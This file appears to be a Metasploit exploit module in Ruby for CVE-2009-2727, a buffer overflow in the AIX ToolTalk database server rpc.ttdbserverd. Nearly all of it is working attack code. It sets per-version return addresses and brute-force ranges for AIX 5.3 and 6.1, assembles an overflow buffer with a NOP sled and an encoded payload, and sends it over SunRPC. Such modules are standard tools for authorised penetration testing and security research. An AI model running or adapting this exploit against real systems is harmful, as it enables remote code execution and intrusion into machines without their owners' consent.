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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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6
class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
8

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  include Msf::Exploit::Remote::SunRPC
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  include Msf::Exploit::Brute
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
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      'Description'    => %q{
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          This module exploits a buffer overflow vulnerability in _tt_internal_realpath
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        function of the ToolTalk database server (rpc.ttdbserverd).
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      },
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      'Author'         =>
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        [
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          'Ramon de C Valle',
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          'Adriano Lima <adriano[at]risesecurity.org>',
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        ],
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      'Platform'       => [ 'aix' ],
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      'References'     =>
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        [
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          [ 'CVE', '2009-2727'],
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          [ 'OSVDB', '55151' ]
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00",
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        },
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      'Targets'        =>
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        [
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          [
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            'IBM AIX Version 6.1.4',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20099430+4096,
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              'Addr1'    => 0x2ff1ff50-8192,
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              'AIX'  => '6.1.4',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20099430-8192 },
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                'Stop'  => { 'Ret' => 0x20099430+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 6.1.3',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20099280+4096,
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              'Addr1'    => 0x2ff1ffd0-8192,
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              'AIX'  => '6.1.3',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20099280-8192 },
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                'Stop'  => { 'Ret' => 0x20099280+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 6.1.2',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20099280+4096,
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              'Addr1'    => 0x2ff1ffd0-8192,
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              'AIX'  => '6.1.2',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20099280-8192 },
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                'Stop'  => { 'Ret' => 0x20099280+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 6.1.1',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20099280+4096,
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              'Addr1'    => 0x2ff1ffd0-8192,
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              'AIX'  => '6.1.1',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20099280-8192 },
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                'Stop'  => { 'Ret' => 0x20099280+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 6.1.0',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20099280+4096,
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              'Addr1'    => 0x2ff1ffd0-8192,
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              'AIX'  => '6.1.0',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20099280-8192 },
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                'Stop'  => { 'Ret' => 0x20099280+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20096ba0+4096,
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              'Addr1'    => 0x2ff1ff14-8192,
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              'AIX'  => '5.3.9',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20096ba0-8192 },
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                'Stop'  => { 'Ret' => 0x20096ba0+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 5.3.10',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20096bf0+4096,
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              'Addr1'    => 0x2ff1ff14-8192,
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              'AIX'  => '5.3.10',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20096bf0-8192 },
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                'Stop'  => { 'Ret' => 0x20096bf0+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 5.3.9',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20096ba0+4096,
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              'Addr1'    => 0x2ff1ff14-8192,
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              'AIX'  => '5.3.9',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20096ba0-8192 },
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                'Stop'  => { 'Ret' => 0x20096ba0+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 5.3.8',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20096c10+4096,
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              'Addr1'    => 0x2ff1ff98-8192,
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              'AIX'  => '5.3.8',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20096c10-8192 },
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                'Stop'  => { 'Ret' => 0x20096c10+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'IBM AIX Version 5.3.7',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0x20096c10+4096,
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              'Addr1'    => 0x2ff1ff98-8192,
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              'AIX'  => '5.3.7',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x20096c10-8192 },
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                'Stop'  => { 'Ret' => 0x20096c10+8192 },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'Debug IBM AIX Version 6.1',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0xaabbccdd,
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              'Addr1'    => 0xddccbbaa,
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              'AIX'  => '6.1.4',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0xaabbccdd },
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                'Stop'  => { 'Ret' => 0xaabbccdd },
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                'Step'  => 1024
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              }
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            }
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          ],
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          [
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            'Debug IBM AIX Version 5.3',
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            {
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              'Arch'     => 'ppc',
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              'Platform' => 'aix',
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              'Ret'      => 0xaabbccdd,
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              'Addr1'    => 0xddccbbaa,
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              'AIX'  => '5.3.10',
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              'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0xaabbccdd },
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                'Stop'  => { 'Ret' => 0xaabbccdd },
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                'Step'  => 1024
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              }
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            }
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          ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2009-06-17'))
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  end
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  def brute_exploit(brute_target)
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    if not @aixpayload
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      datastore['AIX'] = target['AIX']
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      @aixpayload = regenerate_payload.encoded
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    end
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    print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret'])
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    begin
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      sunrpc_create('tcp', 100083, 1)
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      if target['AIX'] =~ /6\./
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        buf = "A"
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      else
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        buf = "AA"
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      end
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      buf << [target['Addr1']].pack('N') * (1022 + 8)
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      buf << [brute_target['Ret']].pack('N') * 32
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      if target['AIX'] =~ /6\./
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        buf << "AAA"
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      else
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        buf << "AA"
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      end
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      buf << "\x7f\xff\xfb\x78" * 1920
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      buf << @aixpayload
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      buf = Rex::Encoder::XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
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      print_status('Sending procedure 15 call message...')
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      sunrpc_call(15, buf)
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      sunrpc_destroy
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      handler
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    rescue Rex::Proto::SunRPC::RPCTimeout
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      # print_error('RPCTimeout')
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    rescue EOFError
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      # print_error('EOFError')
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    end
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  end
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end
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